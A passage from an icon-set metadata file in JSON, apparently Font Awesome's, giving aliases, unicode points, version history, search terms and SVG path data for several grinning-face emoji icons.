.7 .9l.2 .2 0 0 0 0zm160 0l0 0 0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C286.7 188.4 280 206.1 280 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M476.8 126.3c-4.1 1.1-8.4 1.7-12.8 1.7c-26.5 0-48-21-48-47c0-5 1.8-11.3 4.6-18.1c.3-.7 .6-1.4 .9-2.1c9-20.2 26.5-44.9 36-57.5c3.2-4.4 9.6-4.4 12.8 0C483.4 20.6 512 61 512 81c0 21.7-14.9 39.8-35.2 45.3zM256 0c51.4 0 99.3 15.2 139.4 41.2c-1.5 3.1-3 6.2-4.3 9.3c-3.4 8-7.1 19-7.1 30.5c0 44.3 36.6 79 80 79c9.6 0 18.8-1.7 27.4-4.8c13.3 30.9 20.6 65 20.6 100.8c0 141.4-114.6 256-256 256S0 397.4 0 256S114.6 0 256 0zM383.8 317.8C345.3 329.4 301.9 336 256 336s-89.3-6.6-127.8-18.2c-12.3-3.7-24.3 7-19.2 18.7c24.5 56.9 81.1 96.7 147 96.7s122.5-39.8 147-96.7c5.1-11.8-6.9-22.4-19.2-18.7zm-166.2-89l0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C126.7 188.4 120 206.1 120 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0 0 0zm160 0l0 0 0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C286.7 188.4 280 206.1 280 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M476.8 126.3C497.1 120.8 512 102.7 512 81c0-20-28.6-60.4-41.6-77.7c-3.2-4.4-9.6-4.4-12.8 0c-9.5 12.6-27.1 37.2-36 57.5c-.3 .7-.6 1.4-.9 2.1C417.8 69.7 416 76 416 81c0 26 21.5 47 48 47c4.4 0 8.7-.6 12.8-1.7zM395.4 41.2C355.3 15.2 307.4 0 256 0C114.6 0 0 114.6 0 256S114.6 512 256 512s256-114.6 256-256c0-35.8-7.3-69.9-20.6-100.8c-8.6 3.1-17.8 4.8-27.4 4.8c-8.9 0-17.6-1.5-25.7-4.2C454.7 185.5 464 219.7 464 256c0 114.9-93.1 208-208 208S48 370.9 48 256S141.1 48 256 48c48.7 0 93.4 16.7 128.9 44.7c-.6-3.8-.9-7.7-.9-11.7c0-11.4 3.8-22.4 7.1-30.5c1.3-3.1 2.7-6.2 4.3-9.3zM375 336.5c10.4-16.1-6.8-32.5-25.5-28.1c-28.9 6.8-60.5 10.5-93.6 10.5s-64.7-3.7-93.6-10.5c-18.7-4.4-35.9 12-25.5 28.1c24.6 38.1 68.7 63.5 119.1 63.5s94.5-25.4 119.1-63.5zM217.6 228.8l0 0 0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C126.7 188.4 120 206.1 120 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0zm160 0l0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C286.7 188.4 280 206.1 280 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M476.8 126.3C497.1 120.8 512 102.7 512 81c0-20-28.6-60.4-41.6-77.7c-3.2-4.4-9.6-4.4-12.8 0c-9.5 12.6-27.1 37.2-36 57.5c-.3 .7-.6 1.4-.9 2.1C417.8 69.7 416 76 416 81c0 26 21.5 47 48 47c4.4 0 8.7-.6 12.8-1.7zM395.4 41.2C355.3 15.2 307.4 0 256 0C114.6 0 0 114.6 0 256S114.6 512 256 512s256-114.6 256-256c0-35.8-7.3-69.9-20.6-100.8c-8.6 3.1-17.8 4.8-27.4 4.8c-8.9 0-17.6-1.5-25.7-4.2C454.7 185.5 464 219.7 464 256c0 114.9-93.1 208-208 208S48 370.9 48 256S141.1 48 256 48c48.7 0 93.4 16.7 128.9 44.7c-.6-3.8-.9-7.7-.9-11.7c0-11.4 3.8-22.4 7.1-30.5c1.3-3.1 2.7-6.2 4.3-9.3zM375 336.5c10.4-16.1-6.8-32.5-25.5-28.1c-28.9 6.8-60.5 10.5-93.6 10.5s-64.7-3.7-93.6-10.5c-18.7-4.4-35.9 12-25.5 28.1c24.6 38.1 68.7 63.5 119.1 63.5s94.5-25.4 119.1-63.5zM217.6 228.8l0 0 0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C126.7 188.4 120 206.1 120 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0zm160 0l0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C286.7 188.4 280 206.1 280 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0 0 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-hearts": {
    "aliases": {
      "names": ["grin-hearts"],
      "unicodes": {
        "composite": ["1f60d"],
        "secondary": ["10f584"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "emoticon",
        "eye",
        "face",
        "love",
        "smile",
        "smiling face with heart-eyes"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f584",
    "label": "Face Grin Hearts",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zM199.3 129.1c17.8 4.8 28.4 23.1 23.6 40.8l-17.4 65c-2.3 8.5-11.1 13.6-19.6 11.3l-65.1-17.4c-17.8-4.8-28.4-23.1-23.6-40.8s23.1-28.4 40.8-23.6l16.1 4.3 4.3-16.1c4.8-17.8 23.1-28.4 40.8-23.6zm154.3 23.6l4.3 16.1 16.1-4.3c17.8-4.8 36.1 5.8 40.8 23.6s-5.8 36.1-23.6 40.8l-65.1 17.4c-8.5 2.3-17.3-2.8-19.6-11.3l-17.4-65c-4.8-17.8 5.8-36.1 23.6-40.8s36.1 5.8 40.9 23.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zM199.3 129.1c17.8 4.8 28.4 23.1 23.6 40.8l-17.4 65c-2.3 8.5-11.1 13.6-19.6 11.3l-65.1-17.4c-17.8-4.8-28.4-23.1-23.6-40.8s23.1-28.4 40.8-23.6l16.1 4.3 4.3-16.1c4.8-17.8 23.1-28.4 40.8-23.6zm154.3 23.6l4.3 16.1 16.1-4.3c17.8-4.8 36.1 5.8 40.8 23.6s-5.8 36.1-23.6 40.8l-65.1 17.4c-8.5 2.3-17.3-2.8-19.6-11.3l-17.4-65c-4.8-17.8 5.8-36.1 23.6-40.8s36.1 5.8 40.9 23.6z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zM215.3 137.1c17.8 4.8 28.4 23.1 23.6 40.8l-17.4 65c-2.3 8.5-11.1 13.6-19.6 11.3l-65.1-17.4c-17.8-4.8-28.4-23.1-23.6-40.8s23.1-28.4 40.8-23.6l16.1 4.3 4.3-16.1c4.8-17.8 23.1-28.4 40.8-23.6zm122.3 23.6l4.3 16.1 16.1-4.3c17.8-4.8 36.1 5.8 40.8 23.6s-5.8 36.1-23.6 40.8l-65.1 17.4c-8.5 2.3-17.3-2.8-19.6-11.3l-17.4-65c-4.8-17.8 5.8-36.1 23.6-40.8s36.1 5.8 40.9 23.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zM215.3 137.1c17.8 4.8 28.4 23.1 23.6 40.8l-17.4 65c-2.3 8.5-11.1 13.6-19.6 11.3l-65.1-17.4c-17.8-4.8-28.4-23.1-23.6-40.8s23.1-28.4 40.8-23.6l16.1 4.3 4.3-16.1c4.8-17.8 23.1-28.4 40.8-23.6zm122.3 23.6l4.3 16.1 16.1-4.3c17.8-4.8 36.1 5.8 40.8 23.6s-5.8 36.1-23.6 40.8l-65.1 17.4c-8.5 2.3-17.3-2.8-19.6-11.3l-17.4-65c-4.8-17.8 5.8-36.1 23.6-40.8s36.1 5.8 40.9 23.6z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-squint": {
    "aliases": {
      "names": ["grin-squint"],
      "unicodes": {
        "composite": ["1f606"],
        "secondary": ["10f585"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "emoticon",
        "face",
        "grinning squinting face",
        "laugh",
        "mouth",
        "satisfied",
        "smile"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f585",
    "label": "Face Grin Squint",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zM133.5 146.7l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 157.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zM133.5 146.7l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 157.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zm-216-161.7l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 157.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zm-216-161.7l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 157.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-squint-tears": {
    "aliases": {
      "names": ["grin-squint-tears"],
      "unicodes": {
        "composite": ["1f923"],
        "secondary": ["10f586"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "emoticon",
        "face",
        "floor",
        "happy",
        "laugh",
        "rolling",
        "rolling on the floor laughing",
        "smile"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f586",
    "label": "Face Grin Squint Tears",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M426.8 14.2C446-5 477.5-4.6 497.1 14.9s20 51 .7 70.3c-6.8 6.8-21.4 12.4-37.4 16.7c-16.3 4.4-34.1 7.5-46.3 9.3c-1.6 .2-3.1 .5-4.6 .6c-4.9 .8-9.1-2.8-9.5-7.4c-.1-.7 0-1.4 .1-2.1c1.6-11.2 4.6-29.6 9-47c.3-1.3 .7-2.6 1-3.9c4.3-15.9 9.8-30.5 16.7-37.4zm-44.7 19c-1.5 4.8-2.9 9.6-4.1 14.3c-4.8 18.9-8 38.5-9.7 50.3c-4 26.8 18.9 49.7 45.7 45.8c11.9-1.6 31.5-4.8 50.4-9.7c4.7-1.2 9.5-2.5 14.3-4.1C534.2 227.5 520.2 353.8 437 437c-83.2 83.2-209.5 97.2-307.2 41.8c1.5-4.8 2.8-9.6 4-14.3c4.8-18.9 8-38.5 9.7-50.3c4-26.8-18.9-49.7-45.7-45.8c-11.9 1.6-31.5 4.8-50.4 9.7c-4.7 1.2-9.5 2.5-14.3 4.1C-22.2 284.5-8.2 158.2 75 75C158.2-8.3 284.5-22.2 382.2 33.2zM51.5 410.1c18.5-5 38.8-8.3 50.9-10c.4-.1 .7-.1 1-.1c5.1-.2 9.2 4.3 8.4 9.6c-1.7 12.1-5 32.4-10 50.9C97.6 476.4 92 491 85.2 497.8C66 517 34.5 516.6 14.9 497.1s-20-51-.7-70.3c6.8-6.8 21.4-12.4 37.4-16.7zM416.9 209c-4.7-11.9-20.8-11-26.8 .3c-19 35.5-45 70.8-77.5 103.3S244.8 371.1 209.3 390c-11.3 6-12.2 22.1-.3 26.8c57.6 22.9 125.8 11 172.3-35.5s58.4-114.8 35.5-172.3zM87.1 285.1c2 2 4.6 3.2 7.3 3.4l56.1 5.1 5.1 56.1c.3 2.8 1.5 5.4 3.4 7.3c6.3 6.3 17.2 3.6 19.8-4.9l29.7-97.4c3.5-11.6-7.3-22.5-19-19L92 265.3c-8.6 2.6-11.3 13.4-4.9 19.8zM265.3 92l-29.7 97.4c-3.5 11.6 7.3 22.5 19 19l97.4-29.7c8.6-2.6 11.3-13.4 4.9-19.8c-2-2-4.6-3.2-7.3-3.4l-56.1-5.1-5.1-56.1c-.3-2.8-1.5-5.4-3.4-7.3c-6.3-6.3-17.2-3.6-19.8 4.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M426.8 14.2C446-5 477.5-4.6 497.1 14.9s20 51 .7 70.3c-6.8 6.8-21.4 12.4-37.4 16.7c-16.3 4.4-34.1 7.5-46.3 9.3c-1.6 .2-3.1 .5-4.6 .6c-4.9 .8-9.1-2.8-9.5-7.4c-.1-.7 0-1.4 .1-2.1c1.6-11.2 4.6-29.6 9-47c.3-1.3 .7-2.6 1-3.9c4.3-15.9 9.8-30.5 16.7-37.4zm-44.7 19c-1.5 4.8-2.9 9.6-4.1 14.3c-4.8 18.9-8 38.5-9.7 50.3c-4 26.8 18.9 49.7 45.7 45.8c11.9-1.6 31.5-4.8 50.4-9.7c4.7-1.2 9.5-2.5 14.3-4.1C534.2 227.5 520.2 353.8 437 437c-83.2 83.2-209.5 97.2-307.2 41.8c1.5-4.8 2.8-9.6 4-14.3c4.8-18.9 8-38.5 9.7-50.3c4-26.8-18.9-49.7-45.7-45.8c-11.9 1.6-31.5 4.8-50.4 9.7c-4.7 1.2-9.5 2.5-14.3 4.1C-22.2 284.5-8.2 158.2 75 75C158.2-8.3 284.5-22.2 382.2 33.2zM51.5 410.1c18.5-5 38.8-8.3 50.9-10c.4-.1 .7-.1 1-.1c5.1-.2 9.2 4.3 8.4 9.6c-1.7 12.1-5 32.4-10 50.9C97.6 476.4 92 491 85.2 497.8C66 517 34.5 516.6 14.9 497.1s-20-51-.7-70.3c6.8-6.8 21.4-12.4 37.4-16.7zM416.9 209c-4.7-11.9-20.8-11-26.8 .3c-19 35.5-45 70.8-77.5 103.3S244.8 371.1 209.3 390c-11.3 6-12.2 22.1-.3 26.8c57.6 22.9 125.8 11 172.3-35.5s58.4-114.8 35.5-172.3zM87.1 285.1c2 2 4.6 3.2 7.3 3.4l56.1 5.1 5.1 56.1c.3 2.8 1.5 5.4 3.4 7.3c6.3 6.3 17.2 3.6 19.8-4.9l29.7-97.4c3.5-11.6-7.3-22.5-19-19L92 265.3c-8.6 2.6-11.3 13.4-4.9 19.8zM265.3 92l-29.7 97.4c-3.5 11.6 7.3 22.5 19 19l97.4-29.7c8.6-2.6 11.3-13.4 4.9-19.8c-2-2-4.6-3.2-7.3-3.4l-56.1-5.1-5.1-56.1c-.3-2.8-1.5-5.4-3.4-7.3c-6.3-6.3-17.2-3.6-19.8 4.9z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M426.8 14.2C446-5 477.5-4.6 497.1 14.9s20 51 .7 70.3c-14.8 14.8-65.7 23.6-88.3 26.7c-5.6 .9-10.3-3.9-9.5-9.5C403.3 79.9 412 29 426.8 14.2zM75 75C158.2-8.3 284.5-22.2 382.2 33.2c-1.5 4.8-2.9 9.6-4.1 14.3c-3.1 12.2-5.5 24.6-7.3 35c-80.8-53.6-190.7-44.8-261.9 26.4C37.7 180.1 28.9 290 82.5 370.8c-10.5 1.8-22.9 4.2-35 7.3c-4.7 1.2-9.5 2.5-14.3 4.1C-22.2 284.5-8.2 158.2 75 75zm389.6 58.9c4.7-1.2 9.5-2.5 14.3-4.1C534.2 227.5 520.2 353.8 437 437c-83.2 83.2-209.5 97.2-307.2 41.8c1.5-4.8 2.8-9.6 4-14.3c3.1-12.2 5.5-24.6 7.3-35c80.8 53.6 190.7 44.8 261.9-26.4c71.2-71.2 80-181.1 26.4-261.9c10.5-1.8 22.9-4.2 35-7.3zm-105.4 93c10.1-16.3 33.9-16.9 37.9 1.9c9.5 44.4-3.7 93.5-39.3 129.1s-84.8 48.8-129.1 39.3c-18.7-4-18.2-27.8-1.9-37.9c25.2-15.7 50.2-35.4 73.6-58.8s43.1-48.4 58.8-73.6zM92 265.3l97.4-29.7c11.6-3.5 22.5 7.3 19 19l-29.7 97.4c-2.6 8.6-13.4 11.3-19.8 4.9c-2-2-3.2-4.6-3.4-7.3l-5.1-56.1-56.1-5.1c-2.8-.3-5.4-1.5-7.3-3.4c-6.3-6.3-3.6-17.2 4.9-19.8zm193-178.2c2 2 3.2 4.6 3.4 7.3l5.1 56.1 56.1 5.1c2.8 .3 5.4 1.5 7.3 3.4c6.3 6.3 3.6 17.2-4.9 19.8l-97.4 29.7c-11.6 3.5-22.5-7.3-19-19L265.3 92c2.6-8.6 13.4-11.3 19.8-4.9zM14.9 497.1c-19.6-19.6-20-51-.7-70.3C29 412 79.8 403.2 102.4 400.1c5.6-.9 10.3 3.9 9.5 9.5c-3.2 22.5-11.9 73.5-26.7 88.3C66 517 34.5 516.6 14.9 497.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M426.8 14.2C446-5 477.5-4.6 497.1 14.9s20 51 .7 70.3c-14.8 14.8-65.7 23.6-88.3 26.7c-5.6 .9-10.3-3.9-9.5-9.5C403.3 79.9 412 29 426.8 14.2zM75 75C158.2-8.3 284.5-22.2 382.2 33.2c-1.5 4.8-2.9 9.6-4.1 14.3c-3.1 12.2-5.5 24.6-7.3 35c-80.8-53.6-190.7-44.8-261.9 26.4C37.7 180.1 28.9 290 82.5 370.8c-10.5 1.8-22.9 4.2-35 7.3c-4.7 1.2-9.5 2.5-14.3 4.1C-22.2 284.5-8.2 158.2 75 75zm389.6 58.9c4.7-1.2 9.5-2.5 14.3-4.1C534.2 227.5 520.2 353.8 437 437c-83.2 83.2-209.5 97.2-307.2 41.8c1.5-4.8 2.8-9.6 4-14.3c3.1-12.2 5.5-24.6 7.3-35c80.8 53.6 190.7 44.8 261.9-26.4c71.2-71.2 80-181.1 26.4-261.9c10.5-1.8 22.9-4.2 35-7.3zm-105.4 93c10.1-16.3 33.9-16.9 37.9 1.9c9.5 44.4-3.7 93.5-39.3 129.1s-84.8 48.8-129.1 39.3c-18.7-4-18.2-27.8-1.9-37.9c25.2-15.7 50.2-35.4 73.6-58.8s43.1-48.4 58.8-73.6zM92 265.3l97.4-29.7c11.6-3.5 22.5 7.3 19 19l-29.7 97.4c-2.6 8.6-13.4 11.3-19.8 4.9c-2-2-3.2-4.6-3.4-7.3l-5.1-56.1-56.1-5.1c-2.8-.3-5.4-1.5-7.3-3.4c-6.3-6.3-3.6-17.2 4.9-19.8zm193-178.2c2 2 3.2 4.6 3.4 7.3l5.1 56.1 56.1 5.1c2.8 .3 5.4 1.5 7.3 3.4c6.3 6.3 3.6 17.2-4.9 19.8l-97.4 29.7c-11.6 3.5-22.5-7.3-19-19L265.3 92c2.6-8.6 13.4-11.3 19.8-4.9zM14.9 497.1c-19.6-19.6-20-51-.7-70.3C29 412 79.8 403.2 102.4 400.1c5.6-.9 10.3 3.9 9.5 9.5c-3.2 22.5-11.9 73.5-26.7 88.3C66 517 34.5 516.6 14.9 497.1z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-stars": {
    "aliases": {
      "names": ["grin-stars"],
      "unicodes": {
        "composite": ["1f929"],
        "secondary": ["10f587"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "emoticon",
        "eyes",
        "face",
        "grinning",
        "star",
        "star-struck",
        "starry-eyed"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f587",
    "label": "Face Grin Stars",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
